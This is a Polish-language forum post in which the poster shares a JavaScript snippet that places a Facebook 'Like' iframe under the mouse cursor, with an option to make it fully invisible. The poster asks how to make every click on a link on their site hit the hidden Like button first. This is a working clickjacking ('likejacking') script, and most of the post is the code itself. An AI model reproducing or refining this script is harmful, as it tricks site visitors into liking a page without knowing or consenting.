Witam. Chcicałbym zainstalować przycisk "facebook like" na swojej stronie, który będzie podążał za ruchem myszki.
Mam taki skrypt:
var czas = 10000; // podaj czas w milisekundach, 1 sekunda = 1000, 5 sekund = 5000
var widocznosc = 1; // widoczność przycisku "Lubie to!", 1 - widoczny, 0 - niewidoczny
var id = "kwejk.fan"; // wszystko co znajduje się po www.facebook.com/
var dziala = 1; // 1 - system włączony, 0 - system wyłączony
// PONIŻEJ NIE DOKONUJ ŻADNYCH ZMIAN!!!!!!!
if(widocznosc == 1){
var wid = "opacity:100;";
}
else if(widocznosc == 0){
var wid = "opacity:0;";
}
else{
var wid = "opacity:100;";
}
function wylacz(){
document.getElementById("facebook").style.display=" none";
}
window.setTimeout("wylacz();", + czas);
document.write("<div style='position:absolute;display:block;width:110px;"+ wid +"' id='facebook' onclick='wylacz();' >");
if(dziala == 1){
document.write('<iframe onclick="wylacz();" id="facebookframe" name="facebookframe" src="http://www.facebook.com/plugins/like.php?app_id=100138080079182&href=http%3A%2F%2Ffacebook.com/'+ id +'&send=false&layout=button_count&width=110&show_faces=false&action=like&colorscheme=light&font&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:110px; height:21px;" allowTransparency="true"></iframe>');
}
document.write('</div>');
$(document).mousemove(function(e){
$('#facebook').css('left',e.pageX-2);
$('#facebook').css('top',e.pageY-7);
});
Jednak on co prawda daje przycisk na stronie, ale gdy najerzdza się na link to wtedy ten przycisk się jakbym chowa pod tym linkiem i podczas kilknięcia nie klika się w przycisk tylko w link. Podsumowując, chciałbym aby klikając w jakiś link, klikało nam najpierw w przycisk, a potem w link.